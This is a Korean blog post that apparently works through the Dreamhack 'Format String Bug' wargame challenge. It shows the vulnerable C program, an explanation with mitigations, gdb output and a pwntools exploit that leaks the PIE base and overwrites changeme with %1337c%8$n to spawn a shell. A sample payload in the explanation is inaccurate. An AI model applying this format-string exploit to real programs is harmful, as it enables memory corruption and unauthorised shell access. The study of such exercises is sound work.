(gdb) x/10gx $rbp-0x30
0x7fffffffdd10: 0x5b1b415b1b415b1b 0x00415b1b425b1b42
0x7fffffffdd20: 0x0000000000000000 0x00007ffff7fe5af0
0x7fffffffdd30: 0x00007fffffffde20 0x1841fbace3e3d700
0x7fffffffdd40: 0x00007fffffffdde0 0x00007ffff7c2a1ca
0x7fffffffdd50: 0x00007fffffffdd90 0x00007fffffffde68
https://velog.io/@securitykss/Dreamhack-Format-String-Bug-1-Description
format string bug가 무엇인지 설명해준 블로그글이다
C 언어에서 printf, scanf, fprintf, fscanf 등 포맷 스트링(%d, %s 등)을 인자로 사용하는 함수들이 있다.
함수의 이름이 "f(formatted)"로 끝나고, 문자열을 다루는 함수라면 포맷 스티링을 처리할 것이다.
이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다.
이 함수들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다.
그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽을 수 있다.
또한 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.
포맷 스티링 함수를 잘못 사용해서 발생하는 버그를 Format String Bug(FSB)라고 한다.
출처 ㅣ https://velog.io/@securitykss/Dreamhack-Format-String-Bug-1-Description
비교하는 루틴이 없는 취약점을 공격하는 방식이다
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
코드 분석: fsb_overwrite.c
이 프로그램은 **포맷 스트링 취약점(format string vulnerability)**을 악용할 수 있는 코드로 작성되었습니다. 주요 구성 요소를 단계별로 설명하겠습니다.
1. 주요 함수 설명
get_string 함수
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
- 기능:
- 표준 입력(키보드 입력 또는 파일)을 읽어와 buf에 저장합니다.
- 입력 길이는 최대 size 바이트 (0x20 = 32 바이트)로 제한됩니다.
- 입력 문자열에서 **줄 바꿈 문자(\n)**를 제거하고 문자열의 끝에 **NULL 문자(\0)**를 추가합니다.
- 취약점:
- 버퍼 크기 초과 방어 없음:
- 입력이 size보다 커지면 버퍼 오버플로우가 발생하지는 않지만, 남은 입력 데이터는 버퍼를 초과할 수 있음.
- 문자열 검증 없음:
- 입력 데이터가 단순 텍스트가 아닌, 포맷 스트링(예: %x, %n)일 경우 악용 가능.
- 버퍼 크기 초과 방어 없음:
main 함수
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
- 기능:
- 버퍼 선언:
- 사용자 입력을 저장할 buf 버퍼가 선언됩니다. 크기는 32 바이트입니다.
- setbuf(stdout, NULL):
- 표준 출력 버퍼링을 비활성화합니다.
- 출력이 즉시 화면에 표시되도록 보장합니다.
- 무한 루프:
- 사용자 입력을 받아와 출력한 뒤, 특정 조건(changeme == 1337)을 만족하면 쉘을 실행합니다.
- 쉘 실행:
- system("/bin/sh")는 쉘 명령어를 실행합니다. 여기서는 명령어가 없는 빈 쉘을 실행합니다.
- 버퍼 선언:
2. 취약점 분석: 포맷 스트링 취약점
포맷 스트링 취약점의 원인
printf(buf);
- 문제:
- 입력 값인 buf를 포맷 지정자(format specifier) 없이 printf에 전달합니다.
- 만약 사용자가 %x, %n 등의 포맷 지정자를 포함한 문자열을 입력하면, 프로그램의 메모리를 임의로 읽거나 수정할 수 있습니다.
포맷 스트링 공격 시나리오
- 공격자가 %n 포맷 지정자를 활용하면, 메모리의 특정 위치에 원하는 값을 쓸 수 있습니다.
- 예를 들어:
- %n: 포인터가 가리키는 메모리 위치에 지금까지 출력된 문자 개수를 저장.
- 공격자가 buf에 입력한 데이터를 통해 changeme 변수에 1337 값을 쓸 수 있습니다.
3. 공격 방법
목표:
- changeme 변수의 값을 1337로 설정하여 쉘 실행 조건을 만족시킵니다.
단계:
- 메모리 주소 확인:
- changeme 변수의 메모리 주소를 알아야 합니다.
(디버거를 사용하거나 메모리 덤프를 분석하여 찾을 수 있음).
- changeme 변수의 메모리 주소를 알아야 합니다.
- 포맷 스트링 작성:
- %n 포맷 지정자를 사용하여 changeme 변수의 메모리 주소에 1337 값을 기록.
- 입력 전달:
- 예제 입력:
(여기서 0x78563412는 changeme의 메모리 주소를 바이트 순서로 입력한 값).python3 -c 'print("AAAA" + "\x12\x34\x56\x78" + "%x%x%x%n")' | ./fsb_overwrite
- 예제 입력:
4. 보호 대책
문제 해결 방법
- 포맷 지정자 명시:
- printf 사용 시 포맷 지정자를 명확히 지정합니다.
- 예:
printf("%s", buf);
- 입력 검증:
- 사용자 입력을 검증하여 포맷 스트링 문자(%, n, x 등)를 제거합니다.
- 컴파일 옵션 사용:
- 스택 보호 기법 (-fstack-protector) 및 포맷 스트링 검사 (-Wformat-security)를 활성화합니다.
- 예:
gcc -o fsb_overwrite -fstack-protector -Wformat-security fsb_overwrite.c
- 메모리 보호:
- ASLR(Address Space Layout Randomization)와 같은 보호 메커니즘을 활성화하여 메모리 주소를 무작위화합니다.
5. 요약
- 취약점: 프로그램에서 포맷 스트링을 명시하지 않아 공격자가 메모리를 조작할 수 있음.
- 공격 시나리오: changeme 변수에 원하는 값을 써서 쉘 실행 조건을 만족.
- 보호 방법: 안전한 코딩 습관, 입력 검증, 컴파일러 보호 옵션 활용.
checksec 출력 해석
이 출력 결과는 fsb_overwrite 바이너리 파일에 대해 실행된 checksec 결과를 나타냅니다. 각 항목의 의미와 해당 바이너리의 보안 상태를 해석하면 다음과 같습니다:
항목 상태 설명
RELRO | Full RELRO | - Full RELRO: 재배치 테이블을 읽기 전용으로 설정하여 메모리 재배치 관련 공격을 방어. |
STACK CANARY | No canary found | - No canary found: 스택 오버플로우 공격 방지를 위한 스택 카나리가 활성화되지 않음. |
NX | NX enabled | - NX (No eXecute): 데이터 영역에서 코드 실행 방지. 실행 방지 메모리 보호가 활성화됨. |
PIE | PIE enabled | - PIE (Position Independent Executable): 메모리 주소 무작위화(ASLR) 지원. |
RPATH | No RPATH | - No RPATH: 바이너리가 실행 시 참조할 외부 라이브러리 경로 설정이 없음. |
RUNPATH | No RUNPATH | - No RUNPATH: 실행 시 참조할 동적 라이브러리 경로 설정이 없음. |
Symbols | 45 Symbols | - 심볼 테이블에 45개의 심볼이 있음. 디버깅에 유용하지만 악용 가능성도 있음. |
FORTIFY | No | - No: FORTIFY_SOURCE(컴파일 보안 강화 옵션) 활성화되지 않음. |
Fortified | 0 | - 보안 강화(FORTIFY_SOURCE)가 적용된 함수 개수. |
Fortifiable | N/A | - FORTIFY_SOURCE가 적용될 수 있는 함수의 수. |
보안 상태 요약
- 강점:
- Full RELRO: 메모리 재배치 테이블이 읽기 전용으로 설정되어 보안이 강화됨.
- NX enabled: 메모리 보호(NX)가 활성화되어 코드 실행 방지.
- PIE enabled: 실행 파일이 ASLR(Address Space Layout Randomization)을 지원하여 메모리 주소의 무작위화가 가능.
- 약점:
- No canary found: 스택 카나리가 없어 스택 오버플로우에 취약.
- No FORTIFY: FORTIFY_SOURCE가 활성화되지 않아 보안 강화된 함수 사용 부족.
- RPATH/RUNPATH 없음: 외부 라이브러리 참조는 없으나, 필요에 따라 설정이 부족할 수 있음.
종합 평가
- 이 바이너리는 일부 보안 메커니즘(RELRO, NX, PIE)이 활성화되어 있지만, 스택 카나리와 FORTIFY_SOURCE 같은 추가적인 보호 메커니즘이 부족하여 공격에 취약할 수 있습니다.
- 특히, 스택 오버플로우 취약점이 있을 경우 스택 카나리가 없는 상태에서는 이를 악용하기가 쉽습니다.
개선 방안
- 스택 카나리 활성화:
- 컴파일 시 -fstack-protector 또는 -fstack-protector-strong 옵션을 사용하여 스택 카나리 추가:
gcc -o fsb_overwrite -fstack-protector-strong fsb_overwrite.c
- 컴파일 시 -fstack-protector 또는 -fstack-protector-strong 옵션을 사용하여 스택 카나리 추가:
- FORTIFY_SOURCE 활성화:
- 컴파일 시 -D_FORTIFY_SOURCE=2 플래그를 추가하여 보안 강화:
gcc -o fsb_overwrite -D_FORTIFY_SOURCE=2 fsb_overwrite.c
- 컴파일 시 -D_FORTIFY_SOURCE=2 플래그를 추가하여 보안 강화:
- 코드 취약점 수정:
- 포맷 스트링 취약점 제거 (printf(buf) → printf("%s", buf)).
- 입력 검증을 추가하여 악의적인 입력 방지.
결론
현재 바이너리는 일부 보안 메커니즘이 잘 적용되어 있지만, 포맷 스트링 취약점과 스택 보호 미비로 인해 여전히 악용 가능성이 높습니다. 위의 개선 방안을 적용하여 보안성을 강화할 수 있습니다.
get_string()을 보면 buf에 4바이트까지 입력 가능하고 \n을 0으로 바꿔준다.
사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하니까 pinrtf(buf)에서 fsb가 발생할 것으로 예상된다.
changeme 값이 1337이면 쉘을 획득할 수 있으니까, 포맷스트링으로 값을 1337로 바꾸는 방식으로 접근해보자.
출처 ㅣ https://www-spam.tistory.com/209
메인 disassemeble
Dump of assembler code for function main:
0x0000000000001293 <+0>: endbr64
0x0000000000001297 <+4>: push %rbp
0x0000000000001298 <+5>: mov %rsp,%rbp
0x000000000000129b <+8>: sub $0x30,%rsp
0x000000000000129f <+12>: mov %fs:0x28,%rax
0x00000000000012a8 <+21>: mov %rax,-0x8(%rbp)
0x00000000000012ac <+25>: xor %eax,%eax
0x00000000000012ae <+27>: mov 0x2d5b(%rip),%rax # 0x4010 <stdout@GLIBC_2.2.5>
0x00000000000012b5 <+34>: mov $0x0,%esi
0x00000000000012ba <+39>: mov %rax,%rdi
0x00000000000012bd <+42>: call 0x10c0 <setbuf@plt>
0x00000000000012c2 <+47>: lea -0x30(%rbp),%rax
0x00000000000012c6 <+51>: mov $0x20,%esi
0x00000000000012cb <+56>: mov %rax,%rdi
0x00000000000012ce <+59>: call 0x1209 <get_string>
0x00000000000012d3 <+64>: lea -0x30(%rbp),%rax
0x00000000000012d7 <+68>: mov %rax,%rdi
0x00000000000012da <+71>: mov $0x0,%eax
0x00000000000012df <+76>: call 0x10e0 <printf@plt>
0x00000000000012e4 <+81>: lea 0xd1e(%rip),%rax # 0x2009
--Type <RET> for more, q to quit, c to continue without paging--
0x00000000000012eb <+88>: mov %rax,%rdi
0x00000000000012ee <+91>: call 0x10b0 <puts@plt>
0x00000000000012f3 <+96>: mov 0x2d23(%rip),%eax # 0x401c <changeme>
0x00000000000012f9 <+102>: cmp $0x539,%eax
0x00000000000012fe <+107>: jne 0x12c2 <main+47>
0x0000000000001300 <+109>: lea 0xd03(%rip),%rax # 0x200a
0x0000000000001307 <+116>: mov %rax,%rdi
0x000000000000130a <+119>: call 0x10d0 <system@plt>
0x000000000000130f <+124>: jmp 0x12c2 <main+47>
12f9가 changeme를 비교하는 부분이다 bp를 걸자
https://velog.io/@kkangjane/Dreamhack-Wargame-Format-String-Bug
changeme의 주소는 위에서 얻은 주소값에서 main함수를 뺀다.
b'%1337c%8':
%1337c: 6바이트
%8: 2바이트
총합: 8바이트
b'$nAAAAAA':
$n: 2바이트
AAAAAA: 6바이트
총합: 8바이트
p64(changeme):
p64(changeme)는 64비트 주소를 리틀 엔디안 형식으로 변환한 것이므로 8바이트
b'%1337c%8': 8바이트
b'$nAAAAAA': 8바이트
p64(changeme): 8바이트
출처 ㅣ https://blog.system32.kr/325
buf에서 10번째, 즉 %15p는main함수의맨처음시작부분의주소이다.
따라서‘PIEbase‘는p로 받은 주소값에서 main의 심볼값을 빼면 된다.
2. changeme 1337로 바꾸기
fstring은 buf를 6$부터 참조한다.
우리는 1337만큼의 글자를 쓰고, changeme의 주소를 넣어서 주소가 위치한 변수가 글자수를 참조하도록 하면 된다.
%1337c%8$n+AAAAAA하면 0x10바이트가 되니까 8번째에 changeme 주소를 넣으면 되는 것이다.
출처 ㅣ https://velog.io/@kkangjane/Dreamhack-Wargame-Format-String-Bug
from pwn import *
p = process("./fsb_overwrite")
e = ELF("./fsb_overwrite")
fstring = b"%15$p"
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']
print(changeme)
fstring = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(fstring)
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[94] IT 비전공자 [dreamhack]wargame.kr type confusion문제 풀기 (1) | 2024.12.12 |
---|---|
[93] IT 비전공자 [dreamhack]amocafe문제 풀기 (2) | 2024.12.11 |
[91] IT 비전공자 [dreamhack]Windows Search문제 풀기 (1) | 2024.12.09 |
[90] IT 비전공자 [dreamhack][wargame.kr] fly me to the moon문제 풀기 (0) | 2024.12.08 |
[89] IT 비전공자 [dreamhack]Inject ME!!!문제 풀기 (0) | 2024.12.07 |